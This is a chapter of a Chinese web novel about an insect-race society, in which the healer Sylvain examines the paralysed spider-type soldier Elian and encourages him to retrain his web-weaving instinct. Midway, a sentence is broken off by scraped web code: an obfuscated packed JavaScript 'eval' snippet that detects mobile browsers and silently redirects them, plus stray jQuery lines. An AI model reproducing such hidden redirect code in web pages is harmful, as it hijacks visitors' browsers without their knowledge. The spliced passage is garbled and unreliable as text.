19. 星星

作品:《救赎系雄虫,但是被攻

    第十九章


    西尔万操作着仪器,用轻飘飘的问询打断了他的思绪:“这两天还有出现肢体控制异常的情况吗?”


    雌虫脑子里思考的东西再次回到了现实。


    ……虽然在西尔万面前总是控制不住自己发散的思绪、一次又一次地陷入类似惊恐的情境,但似乎还是被他无知无觉(又或者蓄意打断)的次数更多一点?


    他心中不期然地升起了这样的奇妙想法。不管是否是真的,在这一刻他居然没有感觉到什么抗拒。


    艾利安觉得,被西尔万了解、乃至在某种程度上控制……并不是什么无法接受的事情。


    “……有,三次,类似瘫痪症状。”


    “嗯。”西尔万点了点头,追问,“再具体一点。”


    “一次全身肌肉麻痹失去控制,两次双臂运动功能减退。”艾利安言语简洁,只是在叙述对象是自己时难免低落,勉强也是保持着艰难的平和。


    桑


    果然是上肢瘫痪情况重于下肢。西尔万往他手臂上又多贴了几个贴片,感觉自己补的课好像有点用,又问:“附肢还能放出来吗?”


    不同于几乎完全退化掉虫族表征、即使有特征也只是在人形上增加而非改变的雄虫,雌虫还保有着相当程度的虫化能力。


    在部分虫化时身体等级往往也会有一定上升、可能还会有助于一些异禀或者天赋的使用。


    只不过虫化时的状态不一定完全和本来应有的虫类本体对应,比如说艾利安的附肢是从后背放出来的,而有一部分蜘蛛目会是下半身全部变成虫腹附肢。


    这种可以部分虫化、甚至在某些情况下会无法控制自己虫化特征的特性,也是一部分雄虫厌恶的特征。


    毕竟就和对超凡的追逐一样,虫族推崇的是人形和理性。


    “不行,似乎是被下降的身体等级影响到了——我现在完全无法做到虫化。”


    艾利安仿佛有些胆怯地和西尔万专注看着自己的目光相触、很快分离,随后便又慎重地补充了一句,


    “但是已经完成虫化的那一部分器官并没有出现退化。”


    异禀或者天赋是可以将人形躯体上的某些器官反过来进行虫化的,比如说有一部分虫可以将自己的手完全异化成虫足,无法收回但更为强大。


    “嗯,也正常……你的‘结网’能力有被影响吗?”西尔万并不意外对方已经进行了虫化恒定,“毕竟和精神力高度相关——还是说你是实体化的那类。”


    艾利安是宝石种,在这次重伤之前已经开发出了异禀,和蛛网高度相关,强度已经比得上一般天枢序列三四的异禀。


    不过关于他的资料里面,异禀只有结网这一项,可能是准备专攻这方面,也可能是没有报上来。


    军部的管理严格其实并不体现在对所有虫能力的刨根问底上,艾利安这种级别的虫更是不可能主动公开自己的所有底牌。


    军部所代表的主要是军事力量,而这并不等同于异常严格的、没有隐私存在的管理。


    似乎是被再次贴上来的仪器冰了一下,相触的皮肤泛起红意的同时,艾利安的手指也轻轻一颤,不知何时起便一直注视着西尔万的目光都偏移些许,几乎羞耻的、本能的回避反应:


    “不是实体化……在精神力受损的时候,我的天枢雏形也随之完全碎裂。损及精神海……无法内视。”


    天枢裔所拥有的天枢如果非要具象化形容的话,其实是一块由精神力凝聚而出、只存在于精神海之中的宝石,它的形态或者便是“宝石种”这个称呼的根源所在。


    虫族的提升从头到尾都是淬炼自己的身体、淬炼自己的精神力,把自己变成一块闪闪发光的宝石。


    而两者合称,异禀的状态其实也是和天枢一样映射在精神海之中的,“看不见”等于他已经失去了控制自己精神力内视的能力,除非精神海恢复,不然再无超凡的可能。


    “不,我说的是你的本能。”西尔万觉得自己实在很有耐心,“精神网络之外,蜘蛛天生的结网能力。”


    总不至于这么长一段时间里,他都完全没有尝试过自己的天赋能力吧?


    就像之前提的那样,虫族向着完整的人形演化,到现在大部分都已经失去了完整的原型,只能显出部分虫形,所以不可能真的都能如蜜蜂般采蜜、蜘蛛般吐丝织网。


    他们选择了更加完整的人形,也就失去那样高度特化、能够实现特定功能的器官。


    但这部分本能也没有因为器官的退化、消失而完全失去,而是以精神力的方式继承了下来。


    即使无法拥有特殊能力,可只要活着、有自我意志的虫,就定然有着最低F级的精神力,由此拟化对应的特化器官或者“工具”,可以将最基础的“天赋”付诸于现实。


    若非如此,现在的虫族也不会有“分化”的说法,那本就是由精神力代替虫丝化茧、化蛹来实现的特殊转化。


    最顶端的天枢裔支配着超脱凡俗的力量、俯视着其他虫族,但只有最底层虫族也能拥有的力量才能成为这个种族真正意义上在慢慢走向超凡的证明。


    唯独这一点,西尔万无比确定。


    ……所以他也觉得这个社会的进化方向真的很奇怪来着。


    雌虫的神情空白了一秒:“……没有。”


    今生的他确实没有尝试过——在这个漫长的、向着超凡进化的时代,所有虫种的非超凡都只是为超凡提供特质和原材料的存在,就连雌虫对雄虫的追逐又何尝不是一种对稳定超凡的渴望?


    宝石种、异禀者、天枢裔,层层递进、甚至一样写在了纸面上的比雌雄之别更难以逾越的超凡“阶级”。


    越是“超凡”越是向往,生物本能渴望着生命层次的迁跃,乃至于忽视了自己真正立足于世界的基础。


    而艾利安,他的各方面能力确实足够出众、足够让他成为同龄虫中的佼佼者,或者也因为过去的经历有着一些特殊的思考。但本质上更多却依旧是这个社会中被“同化”的一员。


    身体和精神上的痛苦让他在某种程度上“觉醒”,可只是短暂的一年时间,困囿于过分纯粹的痛苦的他只来得及看到这些就迎来了生命的终点。


    前世的他在精神海重创、失去对精神力的完全控制能力之后,其实是有尝试过使用自己更为“根本”的织网能力的。


    这对于园蛛来说就是和捕猎一样的生存技能,即使等级降低到B、精神力高度紊乱也不会完全失去。


    他一样可以织网、捕猎,只是使用的精神力最后只是勉强代替了真正意义上的蛛丝、无法做到像曾经那样的“超凡”了而已。


    他的身体控制能力大幅度下降,导致所织的网都变得混乱无序,同样的网需要耗费比以前强百倍的精力去完成,梗着一口气终于完成那一张网的艾利安只是进一步认识到了自己的虚弱,之后再也没去尝试过。


    其他虫的言语行为打击只能说压上了最后一根稻草,真正选择退却不再去看的人还是他自己。


    ——他织出来的网,连一只E级蜘蛛目都不如。


    “我应该还是有结网的能力的……只要能吐丝、只要还能思考,蜘蛛就能结网……”


    像是突然意识到了什么一直都摆在面前却没有被自己真正看见的东西,一直都压抑着自己情绪又完全无法控制自己思想的雌虫此刻几乎语无伦次,


    “只是、只是……一样,是残疾。”


    是残疾,是残废。


    就和肢体运动功能减退和完全麻痹之间的区别一样,前者当然要好一点、起码还有那么一点是被自己握在手中的。


    但其实并没有多大差别。


    有些事情完全做不到和做不到最好对艾利安来说是一样的,完全无法控制身体和即使控制了也无法达成目的都是对精神和身体的折磨,艰难地坚持着将事情完成到一半却因为一个无法自控的颤抖前功尽弃甚至可能是更打击虫的事情。


    残疾就是残废,一般无二。


    他再也无法织出一张完美的网,就好像他再也无法使用自己的精神力、无法做到过去那些再普通不过的、连一只平平无奇的蜘蛛都能做到的事情。


    ……甚至连自己已然碎裂的、本来就只是一道模糊的影子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990958|193702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的“天枢”都看不到,好像自己也成了一块完全碎裂的宝石。


    身体和灵魂都是。


    “好了,”说着,西尔万的手掌在艾利安的手腕上轻轻压了一压算作安抚,稳定的语调和吐露的信息再一次自然地牵开了他的注意力,雌虫那生理性的颤抖竟然也就这样被压了下来,“准备注射药剂。”


    体检已经差不多完成了,这段时间的调养确实有点效果,即使是在刚才那样情绪激动的情况下,艾利安的数据居然也还不错——当然,只是相比刚刚被送到这里的时候。


    反正注射药剂是没有问题的。


    似乎是意识到艾利安的情绪不稳定,生怕他等会儿一个不小心浪费了这只好不容易调配出来的药剂,这次的注射是西尔万来完成的。


    注射手法其实不难,但他还是做完了一整套流程,手指恰到好处地控制住艾利安的手腕,力道是克制的,内里却是完全强势不容抗拒的意思。


    艾利安眼神空茫地看着尖锐的针头刺入皮肤、无温的诡谲液体融入身体却点燃起一片焚身之火。


    过分灼烫却不知道什么时候已经被他熟悉的温度甚至给他带来了某种稳定感,太过习惯于解读对方又太多次从中读出了关怀的意味,以至于这一刻被控制被压制,也生不出多少抵触之情。


    其实在意识到这一点的时候就应该排斥的吧,但是有些情绪被反复挑起又反复压制,不知道什么时候就已经感到了疲倦。


    他可能是“喜欢”西尔万的。他模模糊糊地认识到了这样的现实。然后条件反射的抗议感有气无力。


    可是,西尔万会需要吗?


    西尔万仿佛在刚才的对话中已经对他失去了期待,注射完药剂、简单给伤口消了下毒便收拾起了器械——注射完药剂后的身体变化并不需要用到这些,今天的工作已经完成了。


    “但你依旧可以做。”面前传来的声音让艾利安蓦然抬头。


    低头工作的青年尤带倦容的脸上,神情平和到坦然的程度,以至于这些话不像是劝说不像是宽慰,而像是在诉说某种事实。


    真正意义上的感同身受不会有虫有,雄虫只是接受事实,就和很久以前他同样接受了自己身上的缺陷接受了自己所有的不完全——然后去尝试改变一样。


    “谁也不是从一开始就能织出一张完美的网的,你要因为无法使用精神力就把自己的天赋给舍弃吗?先是生命、是虫族,再是宝石种,不要忘记你的根源所在。”


    在西尔万眼中,再如何“超凡”,依旧是从生命与自然之中孕育出来的奇迹——铸就“超凡”的根基,却是“平凡”的生命。


    生命没有上限,所以有了“超凡”。


    这是两世、三世的积累令他产生的思考。


    西尔万明白这个社会如今的思想观念,也像自己面对雌雄之间的地位差异一样并不准备去改变这些,只是在面对自己的病人、病虫时多说了那么两句。


    不是残疾、残废。


    只是完全否定了自己。


    一个直白过分的、自我安慰般的想法,完全否定自己其实也可以得到某种程度上的解脱——


    以前那样的环境中确实有必要存在的、自救想法,但现在却不能这样继续下去。


    再次被打断了。西尔万并没有谴责他对自己天赋的忽视、似乎也没有因他的反应生出什么想法,只是在两句话后平静地给出了医生……药师的建议:


    “精神力和身体强度的等级问题在毒素解开之前不可能解决,你可以先复健一下蜘蛛的天赋。”


    “……我明白了。”冰冷燃烧着的液体还在身体里涌动,就和那些陌生的、明明应该抗拒却分明已经无法遏制在身体里在灵魂里滋生的感情一样。


    灰发的雌虫注视着雄子的眼神那样浅淡却又那样专注,低哑的声音也空旷、仿佛能听到荒凉的回音,“……多谢。”


    看到了……类似希望的东西。


    ……吗?


    他瞳中只是映出一颗闪闪发亮的星星。


    或者也在他胸口里一蹦一跳……洒落着,无论如何无法抵抗的星辉。